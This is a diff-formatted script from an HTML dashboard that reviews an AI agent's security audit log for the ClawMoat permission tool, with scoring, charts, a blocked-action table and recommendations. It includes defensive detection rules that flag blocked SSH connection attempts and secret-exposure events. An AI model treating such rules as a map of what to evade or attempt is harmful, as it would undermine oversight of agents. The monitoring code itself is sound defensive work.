|
|
330
|
+
|
|
331
|
+
document.getElementById('dashboard').style.display='block';
|
|
332
|
+
document.getElementById('exportBtn').style.display='';
|
|
333
|
+
|
|
334
|
+
const total=events.length;
|
|
335
|
+
const blocked=events.filter(e=>e.result==='blocked');
|
|
336
|
+
const allowed=events.filter(e=>e.result==='allowed');
|
|
337
|
+
const secrets=events.filter(e=>e.category==='secrets_detected');
|
|
338
|
+
const blockRate=((blocked.length/total)*100).toFixed(1);
|
|
339
|
+
|
|
340
|
+
// Security score (100 - penalties)
|
|
341
|
+
let score=100;
|
|
342
|
+
score-=blocked.length*0.5; // some blocks are good (means protection worked)
|
|
343
|
+
score-=secrets.length*3; // secrets detected is concerning
|
|
344
|
+
const unsafeAllowed=events.filter(e=>e.result==='allowed'&&(e.category==='secrets_detected'||e.category==='network'));
|
|
345
|
+
score-=unsafeAllowed.length*5;
|
|
346
|
+
if(blockRate<10)score-=10; // too few blocks might mean loose policy
|
|
347
|
+
score=Math.max(0,Math.min(100,Math.round(score)));
|
|
348
|
+
|
|
349
|
+
document.getElementById('totalEvents').textContent=total;
|
|
350
|
+
document.getElementById('blockedCount').textContent=blocked.length;
|
|
351
|
+
document.getElementById('secretsCount').textContent=secrets.length;
|
|
352
|
+
document.getElementById('securityScore').textContent=score+'/100';
|
|
353
|
+
const scoreEl=document.getElementById('securityScore');
|
|
354
|
+
scoreEl.className='value '+(score>=80?'score-good':score>=50?'score-medium':'score-bad');
|
|
355
|
+
document.getElementById('scoreLabel').textContent=score>=80?'Strong protection':score>=50?'Needs attention':'Critical — review policy';
|
|
356
|
+
|
|
357
|
+
// Time range
|
|
358
|
+
const timestamps=events.filter(e=>e.timestamp).map(e=>new Date(e.timestamp)).sort((a,b)=>a-b);
|
|
359
|
+
if(timestamps.length>=2){
|
|
360
|
+
const fmt=d=>d.toLocaleString('en-US',{month:'short',day:'numeric',hour:'2-digit',minute:'2-digit'});
|
|
361
|
+
document.getElementById('timeRange').textContent=fmt(timestamps[0])+' → '+fmt(timestamps[timestamps.length-1]);
|
|
362
|
+
}
|
|
363
|
+
|
|
364
|
+
// Block rate
|
|
365
|
+
document.getElementById('blockRate').textContent=blockRate+'% block rate';
|
|
366
|
+
|
|
367
|
+
// Time series chart
|
|
368
|
+
buildTimeChart(events);
|
|
369
|
+
buildCategoryChart(events);
|
|
370
|
+
buildBlockedTable(blocked);
|
|
371
|
+
buildTierDisplay(events);
|
|
372
|
+
buildSuspicious(events);
|
|
373
|
+
buildRecommendations(events,score,blocked,secrets);
|
|
374
|
+
}
|
|
375
|
+
|
|
376
|
+
function buildTimeChart(events){
|
|
377
|
+
const byTime={};
|
|
378
|
+
events.forEach(e=>{
|
|
379
|
+
if(!e.timestamp)return;
|
|
380
|
+
const d=new Date(e.timestamp);
|
|
381
|
+
const key=d.toISOString().slice(0,13)+':00'; // hourly buckets
|
|
382
|
+
if(!byTime[key])byTime[key]={allowed:0,blocked:0};
|
|
383
|
+
byTime[key][e.result==='blocked'?'blocked':'allowed']++;
|
|
384
|
+
});
|
|
385
|
+
const labels=Object.keys(byTime).sort();
|
|
386
|
+
const allowedData=labels.map(k=>byTime[k].allowed);
|
|
387
|
+
const blockedData=labels.map(k=>byTime[k].blocked);
|
|
388
|
+
const shortLabels=labels.map(l=>{const d=new Date(l);return d.getHours()+':00'});
|
|
389
|
+
|
|
390
|
+
if(timeChartInstance)timeChartInstance.destroy();
|
|
391
|
+
timeChartInstance=new Chart(document.getElementById('timeChart'),{
|
|
392
|
+
type:'bar',
|
|
393
|
+
data:{labels:shortLabels,datasets:[
|
|
394
|
+
{label:'Allowed',data:allowedData,backgroundColor:'rgba(16,185,129,.7)',borderRadius:4},
|
|
395
|
+
{label:'Blocked',data:blockedData,backgroundColor:'rgba(239,68,68,.7)',borderRadius:4}
|
|
396
|
+
]},
|
|
397
|
+
options:{responsive:true,maintainAspectRatio:false,plugins:{legend:{labels:{color:'#94A3B8'}}},scales:{
|
|
398
|
+
x:{stacked:true,ticks:{color:'#94A3B8'},grid:{color:'rgba(255,255,255,.05)'}},
|
|
399
|
+
y:{stacked:true,ticks:{color:'#94A3B8'},grid:{color:'rgba(255,255,255,.05)'}}
|
|
400
|
+
}}
|
|
401
|
+
});
|
|
402
|
+
}
|
|
403
|
+
|
|
404
|
+
function buildCategoryChart(events){
|
|
405
|
+
const cats={};
|
|
406
|
+
events.forEach(e=>{const c=e.category||'unknown';cats[c]=(cats[c]||0)+1});
|
|
407
|
+
const labels=Object.keys(cats);
|
|
408
|
+
const data=Object.values(cats);
|
|
409
|
+
const colors=['#3B82F6','#EF4444','#10B981','#F59E0B','#8B5CF6','#EC4899','#06B6D4','#F97316'];
|
|
410
|
+
|
|
411
|
+
if(catChartInstance)catChartInstance.destroy();
|
|
412
|
+
catChartInstance=new Chart(document.getElementById('categoryChart'),{
|
|
413
|
+
type:'doughnut',
|
|
414
|
+
data:{labels:labels.map(l=>l.replace(/_/g,' ')),datasets:[{data,backgroundColor:colors.slice(0,labels.length),borderWidth:0}]},
|
|
415
|
+
options:{responsive:true,maintainAspectRatio:false,plugins:{legend:{position:'bottom',labels:{color:'#94A3B8',padding:12,font:{size:11}}}}}
|
|
416
|
+
});
|
|
417
|
+
}
|
|
418
|
+
|
|
419
|
+
function buildBlockedTable(blocked){
|
|
420
|
+
// Aggregate blocked by action+target
|
|
421
|
+
const agg={};
|
|
422
|
+
blocked.forEach(e=>{
|
|
423
|
+
const key=(e.action||'unknown')+'|'+(e.path||e.url||e.tool||e.detail||'—');
|
|
424
|
+
if(!agg[key])agg[key]={action:e.action,target:e.path||e.url||e.tool||e.detail||'—',category:e.category||'unknown',count:0};
|
|
425
|
+
agg[key].count++;
|
|
426
|
+
});
|
|
427
|
+
const sorted=Object.values(agg).sort((a,b)=>b.count-a.count).slice(0,15);
|
|
428
|
+
const tbody=document.getElementById('blockedTable');
|
|
429
|
+
tbody.innerHTML=sorted.map(r=>`<tr>
|
|
430
|
+
<td><code>${esc(r.action)}</code></td>
|
|
431
|
+
<td style="max-width:300px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap" title="${esc(r.target)}">${esc(r.target)}</td>
|
|
432
|
+
<td><span class="tag tag-warn">${esc(r.category.replace(/_/g,' '))}</span></td>
|
|
433
|
+
<td>${r.count}</td>
|
|
434
|
+
<td><span class="tag tag-blocked">Blocked</span></td>
|
|
435
|
+
</tr>`).join('');
|
|
436
|
+
if(!sorted.length)tbody.innerHTML='<tr><td colspan="5" style="color:var(--gray);text-align:center">No blocked actions found</td></tr>';
|
|
437
|
+
}
|
|
438
|
+
|
|
439
|
+
function buildTierDisplay(events){
|
|
440
|
+
const tiers={strict:0,standard:0,permissive:0};
|
|
441
|
+
events.forEach(e=>{const t=e.tier||'standard';if(tiers[t]!==undefined)tiers[t]++});
|
|
442
|
+
const total=events.length||1;
|
|
443
|
+
const colors={strict:'var(--red)',standard:'var(--blue)',permissive:'var(--amber)'};
|
|
444
|
+
const container=document.getElementById('tierDisplay');
|
|
445
|
+
let html='<div class="tier-bar">';
|
|
446
|
+
for(const[tier,count]of Object.entries(tiers)){
|
|
447
|
+
const pct=((count/total)*100).toFixed(1);
|
|
448
|
+
if(count>0)html+=`<div class="tier-segment" style="width:${pct}%;background:${colors[tier]}">${tier} ${pct}%</div>`;
|
|
449
|
+
}
|
|
450
|
+
html+='</div>';
|
|
451
|
+
html+='<div style="display:flex;gap:24px;margin-top:12px;font-size:.85rem;color:var(--gray)">';
|
|
452
|
+
for(const[tier,count]of Object.entries(tiers)){
|
|
453
|
+
html+=`<span><span style="display:inline-block;width:10px;height:10px;border-radius:50%;background:${colors[tier]};margin-right:6px"></span>${tier}: ${count} events</span>`;
|
|
454
|
+
}
|
|
455
|
+
html+='</div>';
|
|
456
|
+
container.innerHTML=html;
|
|
457
|
+
}
|
|
458
|
+
|
|
459
|
+
function buildSuspicious(events){
|
|
460
|
+
const patterns=[];
|
|
461
|
+
// Check for rapid-fire actions (>10 in a minute)
|
|
462
|
+
const byMinute={};
|
|
463
|
+
events.forEach(e=>{if(!e.timestamp)return;const k=e.timestamp.slice(0,16);byMinute[k]=(byMinute[k]||0)+1});
|
|
464
|
+
const bursts=Object.values(byMinute).filter(v=>v>10).length;
|
|
465
|
+
if(bursts)patterns.push({name:'Burst activity (>10 actions/min)',count:bursts+' bursts'});
|
|
466
|
+
|
|
467
|
+
// Repeated blocked attempts on same target
|
|
468
|
+
const blockedTargets={};
|
|
469
|
+
events.filter(e=>e.result==='blocked').forEach(e=>{const t=e.path||e.url||'';if(t){blockedTargets[t]=(blockedTargets[t]||0)+1}});
|
|
470
|
+
Object.entries(blockedTargets).filter(([,c])=>c>=3).forEach(([t,c])=>{
|
|
471
|
+
patterns.push({name:'Repeated blocked access: '+t.slice(-50),count:c+'x'});
|
|
472
|
+
});
|
|
473
|
+
|
|
474
|
+
// Secrets in outbound
|
|
475
|
+
const outSecrets=events.filter(e=>e.category==='secrets_detected'&&e.result==='blocked').length;
|
|
476
|
+
if(outSecrets)patterns.push({name:'Credential/secret exposure attempts',count:outSecrets});
|
|
477
|
+
|
|
478
|
+
// SSH/network blocked
|
|
479
|
+
const sshAttempts=events.filter(e=>(e.args||'').includes('ssh')&&e.result==='blocked').length;
|
|
480
|
+
if(sshAttempts)patterns.push({name:'SSH connection attempts blocked',count:sshAttempts});
|
|
481
|
+
|
|
482
|
+
const section=document.getElementById('suspiciousSection');
|
|
483
|
+
const container=document.getElementById('suspiciousPatterns');
|
|
484
|
+
if(patterns.length){
|
|
485
|
+
section.style.display='block';
|
|
486
|
+
container.innerHTML=patterns.map(p=>`<div class="pattern-item"><span class="pattern-name">${esc(p.name)}</span><span class="pattern-count">${p.count}</span></div>`).join('');
|
|
487
|
+
}else{
|
|
488
|
+
section.style.display='none';
|
|
489
|
+
}
|
|
490
|
+
}
|
|
491
|
+
|
|
492
|
+
function buildRecommendations(events,score,blocked,secrets){
|
|
493
|
+
const recs=[];
|
|
494
|
+
const total=events.length;
|
|
495
|
+
const blockRate=blocked.length/total;
|
|
496
|
+
|
|
497
|
+
if(blockRate<0.05)recs.push({icon:'⚠️',title:'Very low block rate',text:'Only '+((blockRate*100).toFixed(1))+'% of actions were blocked. Consider tightening your permission policy — a healthy rate is 10-30%.'});
|
|
498
|
+
if(blockRate>0.5)recs.push({icon:'🔴',title:'High block rate',text:(blockRate*100).toFixed(1)+'% of actions blocked. Your agent may be misconfigured or attempting unauthorized operations frequently.'});
|
|
499
|
+
if(secrets.length>0)recs.push({icon:'🔑',title:'Secrets detected in transit',text:secrets.length+' credential exposure(s) caught. Review your .clawmoat.yaml forbidden zones and ensure all secret files are protected.'});
|
|
500
|
+
|
|
501
|
+
const sshBlocked=events.filter(e=>(e.args||'').includes('ssh')&&e.result==='blocked');
|
|
502
|
+
if(sshBlocked.length)recs.push({icon:'🌐',title:'SSH attempts detected',text:'Your agent tried to SSH to external servers '+sshBlocked.length+' time(s). If not expected, investigate the agent\'s instructions.'});
|
|
503
|
+
|
|
504
|
+
const strictEvents=events.filter(e=>e.tier==='strict').length;
|
|
505
|
+
if(strictEvents/total<0.3)recs.push({icon:'🛡️',title:'Consider strict tier',text:'Only '+(strictEvents/total*100).toFixed(0)+'% of events use strict tier. For sensitive workloads, enable strict mode to block all file writes and network access.'});
|
|
506
|
+
|
|
507
|
+
if(score>=80)recs.push({icon:'✅',title:'Good security posture',text:'Your ClawMoat configuration is catching threats effectively. Keep audit logs enabled and review periodically.'});
|
|
508
|
+
|
|
509
|
+
if(!recs.length)recs.push({icon:'✅',title:'No immediate concerns',text:'Your audit log looks clean. Keep monitoring!'});
|
|
510
|
+
|
|
511
|
+
document.getElementById('recList').innerHTML=recs.map(r=>`<div class="rec-item"><span class="rec-icon">${r.icon}</span><div class="rec-text"><strong>${esc(r.title)}</strong><p>${esc(r.text)}</p></div></div>`).join('');
|
|
512
|
+
}
|
|
513
|
+
|
|
514
|
+
function exportPDF(){window.print()}
|
|
515
|
+
|
|
516
|
+
function esc(s){const d=document.createElement('div');d.textContent=s||'';return d.innerHTML}
|
|
517
|
+
</script>
|
|
518
|
+
|
|
519
|
+
</body>
|
|
520
|
+
</html>
|